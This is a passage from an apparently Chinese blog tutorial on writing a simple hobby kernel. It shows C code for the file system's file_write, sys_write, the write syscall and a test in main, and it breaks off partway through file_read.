class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 把buf中的count个字节写入file,成功则返回写入的字节数,失败则返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> file_write(struct file* file, <span class="keyword">const</span> <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> count) &#123;</span><br><span class="line">   <span class="keyword">if</span> ((file-&gt;fd_inode-&gt;i_size + count) &gt; (BLOCK_SIZE * <span class="number">140</span>))&#123;   <span class="comment">// 文件目前最大只支持512*140=71680字节</span></span><br><span class="line">      printk(<span class="string">"exceed max file_size 71680 bytes, write file failed\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">uint8_t</span>* io_buf = sys_malloc(BLOCK_SIZE);</span><br><span class="line">   <span class="keyword">if</span> (io_buf == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      printk(<span class="string">"file_write: sys_malloc for io_buf failed\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">uint32_t</span>* all_blocks = (<span class="keyword">uint32_t</span>*)sys_malloc(BLOCK_SIZE + <span class="number">48</span>);  <span class="comment">// 用来记录文件所有的块地址</span></span><br><span class="line">   <span class="keyword">if</span> (all_blocks == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      printk(<span class="string">"file_write: sys_malloc for all_blocks failed\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">const</span> <span class="keyword">uint8_t</span>* src = buf;    <span class="comment">// 用src指向buf中待写入的数据 </span></span><br><span class="line">   <span class="keyword">uint32_t</span> bytes_written = <span class="number">0</span>;    <span class="comment">// 用来记录已写入数据大小</span></span><br><span class="line">   <span class="keyword">uint32_t</span> size_left = count;    <span class="comment">// 用来记录未写入数据大小</span></span><br><span class="line">   <span class="keyword">int32_t</span> block_lba = <span class="number">-1</span>;    <span class="comment">// 块地址</span></span><br><span class="line">   <span class="keyword">uint32_t</span> block_bitmap_idx = <span class="number">0</span>;   <span class="comment">// 用来记录block对应于block_bitmap中的索引,做为参数传给bitmap_sync</span></span><br><span class="line">   <span class="keyword">uint32_t</span> sec_idx;      <span class="comment">// 用来索引扇区</span></span><br><span class="line">   <span class="keyword">uint32_t</span> sec_lba;      <span class="comment">// 扇区地址</span></span><br><span class="line">   <span class="keyword">uint32_t</span> sec_off_bytes;    <span class="comment">// 扇区内字节偏移量</span></span><br><span class="line">   <span class="keyword">uint32_t</span> sec_left_bytes;   <span class="comment">// 扇区内剩余字节量</span></span><br><span class="line">   <span class="keyword">uint32_t</span> chunk_size;      <span class="comment">// 每次写入硬盘的数据块大小</span></span><br><span class="line">   <span class="keyword">int32_t</span> indirect_block_table;      <span class="comment">// 用来获取一级间接表地址</span></span><br><span class="line">   <span class="keyword">uint32_t</span> block_idx;      <span class="comment">// 块索引</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 判断文件是否是第一次写,如果是,先为其分配一个块 */</span></span><br><span class="line">   <span class="keyword">if</span> (file-&gt;fd_inode-&gt;i_sectors[<span class="number">0</span>] == <span class="number">0</span>) &#123;</span><br><span class="line">      block_lba = block_bitmap_alloc(cur_part);</span><br><span class="line">      <span class="keyword">if</span> (block_lba == <span class="number">-1</span>) &#123;</span><br><span class="line"> printk(<span class="string">"file_write: block_bitmap_alloc failed\n"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      file-&gt;fd_inode-&gt;i_sectors[<span class="number">0</span>] = block_lba;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 每分配一个块就将位图同步到硬盘 */</span></span><br><span class="line">      block_bitmap_idx = block_lba - cur_part-&gt;sb-&gt;data_start_lba;</span><br><span class="line">      ASSERT(block_bitmap_idx != <span class="number">0</span>);</span><br><span class="line">      bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 写入count个字节前,该文件已经占用的块数 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> file_has_used_blocks = file-&gt;fd_inode-&gt;i_size / BLOCK_SIZE + <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 存储count字节后该文件将占用的块数 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> file_will_use_blocks = (file-&gt;fd_inode-&gt;i_size + count) / BLOCK_SIZE + <span class="number">1</span>;</span><br><span class="line">   ASSERT(file_will_use_blocks &lt;= <span class="number">140</span>);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 通过此增量判断是否需要分配扇区,如增量为0,表示原扇区够用 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> add_blocks = file_will_use_blocks - file_has_used_blocks;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 开始将文件所有块地址收集到all_blocks,(系统中块大小等于扇区大小)</span></span><br><span class="line"><span class="comment"> * 后面都统一在all_blocks中获取写入扇区地址 */</span></span><br><span class="line">   <span class="keyword">if</span> (add_blocks == <span class="number">0</span>) &#123; </span><br><span class="line">   <span class="comment">/* 在同一扇区内写入数据,不涉及到分配新扇区 */</span></span><br><span class="line">      <span class="keyword">if</span> (file_has_used_blocks &lt;= <span class="number">12</span> ) &#123;<span class="comment">// 文件数据量将在12块之内</span></span><br><span class="line"> block_idx = file_has_used_blocks - <span class="number">1</span>;  <span class="comment">// 指向最后一个已有数据的扇区</span></span><br><span class="line"> all_blocks[block_idx] = file-&gt;fd_inode-&gt;i_sectors[block_idx];</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123; </span><br><span class="line">      <span class="comment">/* 未写入新数据之前已经占用了间接块,需要将间接块地址读进来 */</span></span><br><span class="line"> ASSERT(file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>] != <span class="number">0</span>);</span><br><span class="line">         indirect_block_table = file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>];</span><br><span class="line"> ide_read(cur_part-&gt;my_disk, indirect_block_table, all_blocks + <span class="number">12</span>, <span class="number">1</span>);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">   <span class="comment">/* 若有增量,便涉及到分配新扇区及是否分配一级间接块表,下面要分三种情况处理 */</span></span><br><span class="line">   <span class="comment">/* 第一种情况:12个直接块够用*/</span></span><br><span class="line">      <span class="keyword">if</span> (file_will_use_blocks &lt;= <span class="number">12</span> ) &#123;</span><br><span class="line">      <span class="comment">/* 先将有剩余空间的可继续用的扇区地址写入all_blocks */</span></span><br><span class="line"> block_idx = file_has_used_blocks - <span class="number">1</span>;</span><br><span class="line"> ASSERT(file-&gt;fd_inode-&gt;i_sectors[block_idx] != <span class="number">0</span>);</span><br><span class="line"> all_blocks[block_idx] = file-&gt;fd_inode-&gt;i_sectors[block_idx];</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 再将未来要用的扇区分配好后写入all_blocks */</span></span><br><span class="line"> block_idx = file_has_used_blocks;      <span class="comment">// 指向第一个要分配的新扇区</span></span><br><span class="line"> <span class="keyword">while</span> (block_idx &lt; file_will_use_blocks) &#123;</span><br><span class="line">    block_lba = block_bitmap_alloc(cur_part);</span><br><span class="line">    <span class="keyword">if</span> (block_lba == <span class="number">-1</span>) &#123;</span><br><span class="line">       printk(<span class="string">"file_write: block_bitmap_alloc for situation 1 failed\n"</span>);</span><br><span class="line">       <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 写文件时,不应该存在块未使用但已经分配扇区的情况,当文件删除时,就会把块地址清0 */</span></span><br><span class="line">    ASSERT(file-&gt;fd_inode-&gt;i_sectors[block_idx] == <span class="number">0</span>);     <span class="comment">// 确保尚未分配扇区地址</span></span><br><span class="line">    file-&gt;fd_inode-&gt;i_sectors[block_idx] = all_blocks[block_idx] = block_lba;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 每分配一个块就将位图同步到硬盘 */</span></span><br><span class="line">    block_bitmap_idx = block_lba - cur_part-&gt;sb-&gt;data_start_lba;</span><br><span class="line">    bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line"></span><br><span class="line">    block_idx++;   <span class="comment">// 下一个分配的新扇区</span></span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (file_has_used_blocks &lt;= <span class="number">12</span> &amp;&amp; file_will_use_blocks &gt; <span class="number">12</span>) &#123; </span><br><span class="line"> <span class="comment">/* 第二种情况: 旧数据在12个直接块内,新数据将使用间接块*/</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 先将有剩余空间的可继续用的扇区地址收集到all_blocks */</span></span><br><span class="line"> block_idx = file_has_used_blocks - <span class="number">1</span>;      <span class="comment">// 指向旧数据所在的最后一个扇区</span></span><br><span class="line"> all_blocks[block_idx] = file-&gt;fd_inode-&gt;i_sectors[block_idx];</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 创建一级间接块表 */</span></span><br><span class="line"> block_lba = block_bitmap_alloc(cur_part);</span><br><span class="line"> <span class="keyword">if</span> (block_lba == <span class="number">-1</span>) &#123;</span><br><span class="line">    printk(<span class="string">"file_write: block_bitmap_alloc for situation 2 failed\n"</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> ASSERT(file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>] == <span class="number">0</span>);  <span class="comment">// 确保一级间接块表未分配</span></span><br><span class="line"> <span class="comment">/* 分配一级间接块索引表 */</span></span><br><span class="line"> indirect_block_table = file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>] = block_lba;</span><br><span class="line"></span><br><span class="line"> block_idx = file_has_used_blocks;<span class="comment">// 第一个未使用的块,即本文件最后一个已经使用的直接块的下一块</span></span><br><span class="line"> <span class="keyword">while</span> (block_idx &lt; file_will_use_blocks) &#123;</span><br><span class="line">    block_lba = block_bitmap_alloc(cur_part);</span><br><span class="line">    <span class="keyword">if</span> (block_lba == <span class="number">-1</span>) &#123;</span><br><span class="line">       printk(<span class="string">"file_write: block_bitmap_alloc for situation 2 failed\n"</span>);</span><br><span class="line">       <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (block_idx &lt; <span class="number">12</span>) &#123;      <span class="comment">// 新创建的0~11块直接存入all_blocks数组</span></span><br><span class="line">       ASSERT(file-&gt;fd_inode-&gt;i_sectors[block_idx] == <span class="number">0</span>);      <span class="comment">// 确保尚未分配扇区地址</span></span><br><span class="line">       file-&gt;fd_inode-&gt;i_sectors[block_idx] = all_blocks[block_idx] = block_lba;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;     <span class="comment">// 间接块只写入到all_block数组中,待全部分配完成后一次性同步到硬盘</span></span><br><span class="line">       all_blocks[block_idx] = block_lba;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 每分配一个块就将位图同步到硬盘 */</span></span><br><span class="line">    block_bitmap_idx = block_lba - cur_part-&gt;sb-&gt;data_start_lba;</span><br><span class="line">    bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line"></span><br><span class="line">    block_idx++;   <span class="comment">// 下一个新扇区</span></span><br><span class="line"> &#125;</span><br><span class="line"> ide_write(cur_part-&gt;my_disk, indirect_block_table, all_blocks + <span class="number">12</span>, <span class="number">1</span>);      <span class="comment">// 同步一级间接块表到硬盘</span></span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (file_has_used_blocks &gt; <span class="number">12</span>) &#123;</span><br><span class="line"> <span class="comment">/* 第三种情况:新数据占据间接块*/</span></span><br><span class="line"> ASSERT(file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>] != <span class="number">0</span>); <span class="comment">// 已经具备了一级间接块表</span></span><br><span class="line"> indirect_block_table = file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>]; <span class="comment">// 获取一级间接表地址</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 已使用的间接块也将被读入all_blocks,无须单独收录 */</span></span><br><span class="line"> ide_read(cur_part-&gt;my_disk, indirect_block_table, all_blocks + <span class="number">12</span>, <span class="number">1</span>); <span class="comment">// 获取所有间接块地址</span></span><br><span class="line"></span><br><span class="line"> block_idx = file_has_used_blocks;  <span class="comment">// 第一个未使用的间接块,即已经使用的间接块的下一块</span></span><br><span class="line"> <span class="keyword">while</span> (block_idx &lt; file_will_use_blocks) &#123;</span><br><span class="line">    block_lba = block_bitmap_alloc(cur_part);</span><br><span class="line">    <span class="keyword">if</span> (block_lba == <span class="number">-1</span>) &#123;</span><br><span class="line">       printk(<span class="string">"file_write: block_bitmap_alloc for situation 3 failed\n"</span>);</span><br><span class="line">       <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    all_blocks[block_idx++] = block_lba;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 每分配一个块就将位图同步到硬盘 */</span></span><br><span class="line">    block_bitmap_idx = block_lba - cur_part-&gt;sb-&gt;data_start_lba;</span><br><span class="line">    bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line"> &#125;</span><br><span class="line"> ide_write(cur_part-&gt;my_disk, indirect_block_table, all_blocks + <span class="number">12</span>, <span class="number">1</span>);   <span class="comment">// 同步一级间接块表到硬盘</span></span><br><span class="line">      &#125; </span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">bool</span> first_write_block = <span class="literal">true</span>;      <span class="comment">// 含有剩余空间的扇区标识</span></span><br><span class="line">   <span class="comment">/* 块地址已经收集到all_blocks中,下面开始写数据 */</span></span><br><span class="line">   file-&gt;fd_pos = file-&gt;fd_inode-&gt;i_size - <span class="number">1</span>;   <span class="comment">// 置fd_pos为文件大小-1,下面在写数据时随时更新</span></span><br><span class="line">   <span class="keyword">while</span> (bytes_written &lt; count) &#123;      <span class="comment">// 直到写完所有数据</span></span><br><span class="line">      <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, BLOCK_SIZE);</span><br><span class="line">      sec_idx = file-&gt;fd_inode-&gt;i_size / BLOCK_SIZE;</span><br><span class="line">      sec_lba = all_blocks[sec_idx];</span><br><span class="line">      sec_off_bytes = file-&gt;fd_inode-&gt;i_size % BLOCK_SIZE;</span><br><span class="line">      sec_left_bytes = BLOCK_SIZE - sec_off_bytes;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 判断此次写入硬盘的数据大小 */</span></span><br><span class="line">      chunk_size = size_left &lt; sec_left_bytes ? size_left : sec_left_bytes;</span><br><span class="line">      <span class="keyword">if</span> (first_write_block) &#123;</span><br><span class="line"> ide_read(cur_part-&gt;my_disk, sec_lba, io_buf, <span class="number">1</span>);</span><br><span class="line"> first_write_block = <span class="literal">false</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">memcpy</span>(io_buf + sec_off_bytes, src, chunk_size);</span><br><span class="line">      ide_write(cur_part-&gt;my_disk, sec_lba, io_buf, <span class="number">1</span>);</span><br><span class="line">      printk(<span class="string">"file write at lba 0x%x\n"</span>, sec_lba);    <span class="comment">//调试,完成后去掉</span></span><br><span class="line"></span><br><span class="line">      src += chunk_size;   <span class="comment">// 将指针推移到下个新数据</span></span><br><span class="line">      file-&gt;fd_inode-&gt;i_size += chunk_size;  <span class="comment">// 更新文件大小</span></span><br><span class="line">      file-&gt;fd_pos += chunk_size;   </span><br><span class="line">      bytes_written += chunk_size;</span><br><span class="line">      size_left -= chunk_size;</span><br><span class="line">   &#125;</span><br><span class="line">   inode_sync(cur_part, file-&gt;fd_inode, io_buf);</span><br><span class="line">   sys_free(all_blocks);</span><br><span class="line">   sys_free(io_buf);</span><br><span class="line">   <span class="keyword">return</span> bytes_written;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来改进sys_write</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将buf中连续count个字节写入文件描述符fd,成功则返回写入的字节数,失败返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_write(<span class="keyword">int32_t</span> fd, <span class="keyword">const</span> <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> count) &#123;</span><br><span class="line">   <span class="keyword">if</span> (fd &lt; <span class="number">0</span>) &#123;</span><br><span class="line">      printk(<span class="string">"sys_write: fd error\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span> (fd == stdout_no) &#123;  </span><br><span class="line">      <span class="keyword">char</span> tmp_buf[<span class="number">1024</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">      <span class="built_in">memcpy</span>(tmp_buf, buf, count);</span><br><span class="line">      console_put_str(tmp_buf);</span><br><span class="line">      <span class="keyword">return</span> count;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">uint32_t</span> _fd = fd_local2global(fd);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">file</span>* <span class="title">wr_file</span> = &amp;<span class="title">file_table</span>[_<span class="title">fd</span>];</span></span><br><span class="line">   <span class="keyword">if</span> (wr_file-&gt;fd_flag &amp; O_WRONLY || wr_file-&gt;fd_flag &amp; O_RDWR) &#123;</span><br><span class="line">      <span class="keyword">uint32_t</span> bytes_written  = file_write(wr_file, buf, count);</span><br><span class="line">      <span class="keyword">return</span> bytes_written;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      console_put_str(<span class="string">"sys_write: not allowed to write file without flag O_RDWR or O_WRONLY\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>write系统调用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 把buf中count个字符写入文件描述符fd */</span></span><br><span class="line"><span class="keyword">uint32_t</span> write(<span class="keyword">int32_t</span> fd, <span class="keyword">const</span> <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> count) &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall3(SYS_WRITE, fd, buf, count);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面修改一些其他文件就可以对新版write进行测试，main中测试代码如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   process_execute(u_prog_a, <span class="string">"u_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"u_prog_b"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"I am thread_a"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"I am thread_b"</span>);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> fd = sys_open(<span class="string">"/file1"</span>, O_RDWR);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"fd:%d\n"</span>, fd);</span><br><span class="line">   sys_write(fd, <span class="string">"hello,world\n"</span>, <span class="number">12</span>);</span><br><span class="line">   sys_close(fd);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"%d closed now\n"</span>, fd);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下，这里写入了0xA65处的内存</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/98.png" alt="image-20200612181835991"></p><p>下面用脚本文件查看0xA65处的内存，这里我连续运行了三次，数据写入和更新正确</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/99.png" alt></p><h2 id="读取文件"><a href="#读取文件" class="headerlink" title="读取文件"></a>读取文件</h2><p>上面实现了写入的功能，下面添加读取文件file_read函数，还是老规矩，file文件中先添加框架，然后在fs文件中添加系统调用，实现和write类似，要判断是否超过12个块</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 从文件file中读取count个字节写入buf, 返回读出的字节数,若到文件尾则返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> file_read(struct file* file, <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> count) &#123;</span><br><span class="line">   <span class="keyword">uint8_t</span>* buf_dst = (<span class="keyword">uint8_t</span>*)buf;</span><br><span class="line">   <span class="keyword">uint32_t</span> size = count, size_left = size;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 若要读取的字节数超过了文件可读的剩余量, 就用剩余量做为待读取的字节数 */</span></span><br><span class="line">   <span class="keyword">if</span> ((file-&gt;fd_pos + count) &gt; file-&gt;fd_inode-&gt;i_size)&#123; <span class="comment">// 判断文件是否已读到文件尾</span></span><br><span class="line">      size = file-&gt;fd_inode-&gt;i_size - file-&gt;fd_pos;</span><br><span class="line">      size_left = size;</span><br><span class="line">      <span class="keyword">if</span> (size == <span class="number">0</span>) &#123;   <span class="comment">// 若到文件尾则返回-1</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint8_t</span>* io_buf = sys_malloc(BLOCK_SIZE);</span><br><span class="line">   <span class="keyword">if</span> (io_buf == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      printk(<span class="string">"file_read: sys_malloc for io_buf failed\n"</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">uint32_t</span>* all_blocks = (<span class="keyword">uint32_t</span>*)sys_malloc(BLOCK_SIZE + <span class="number">48</span>);  <span class="comment">// 用来记录文件所有的块地址</span></span><br><span class="line">   <span class="keyword">if</span> (all_blocks == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      printk(<span class="string">"file_read: sys_malloc for all_blocks failed\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> block_read_start_idx = file-&gt;fd_pos / BLOCK_SIZE;       <span class="comment">// 数据所在块的起始地址</span></span><br><span class="line">   <span class="keyword">uint32_t</span> block_read_end_idx = (file-&gt;fd_pos + size) / BLOCK_SIZE;       <span class="comment">// 数据所在块的终止地址</span></span><br><span class="line">   <span class="keyword">uint32_t</span> read_blocks = block_read_start_idx - block_read_end_idx;       <span class="comment">// 如增量为0,表示数据在同一扇区</span></span><br><span class="line">   ASSERT(block_read_start_idx &lt; <span class="number">139</span> &amp;&amp; block_read_end_idx &lt; <span class="number">139</span>);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">int32_t</span> indirect_block_table;       <span class="comment">// 用来获取一级间接表地址</span></span><br><span class="line">   <span class="keyword">uint32_t</span> block_idx;       <span class="comment">// 获取待读的块地址 </span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 以下开始构建all_blocks块地址数组,专门存储用到的块地址(本程序中块大小同扇区大小) */</span></span><br><span class="line">   <span class="keyword">if</span> (read_blocks == <span class="number">0</span>) &#123;       <span class="comment">// 在同一扇区内读数据,不涉及到跨扇区读取</span></span><br><span class="line">      ASSERT(block_read_end_idx == block_read_start_idx);</span><br><span class="line">      <span class="keyword">if</span> (block_read_end_idx &lt; <span class="number">12</span> ) &#123;   <span class="comment">// 待读的数据在12个直接块之内</span></span><br><span class="line"> block_idx = block_read_end_idx;</span><br><span class="line"> all_blocks[block_idx] = file-&gt;fd_inode-&gt;i_sectors[block_idx];</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;<span class="comment">// 若用到了一级间接块表,需要将表中间接块读进来</span></span><br><span class="line"> indirect_block_table = file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>];</span><br><span class="line"> ide_read(cur_part-&gt;my_disk, indirect_block_table, all_blocks + <span class="number">12</span>, <span class="number">1</span>);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;      <span class="comment">// 若要读多个块</span></span><br><span class="line">   <span class="comment">/* 第一种情况: 起始块和终止块属于直接块*/</span></span><br><span class="line">      <span class="keyword">if</span> (block_read_end_idx &lt; <span class="number">12</span> ) &#123;  <span 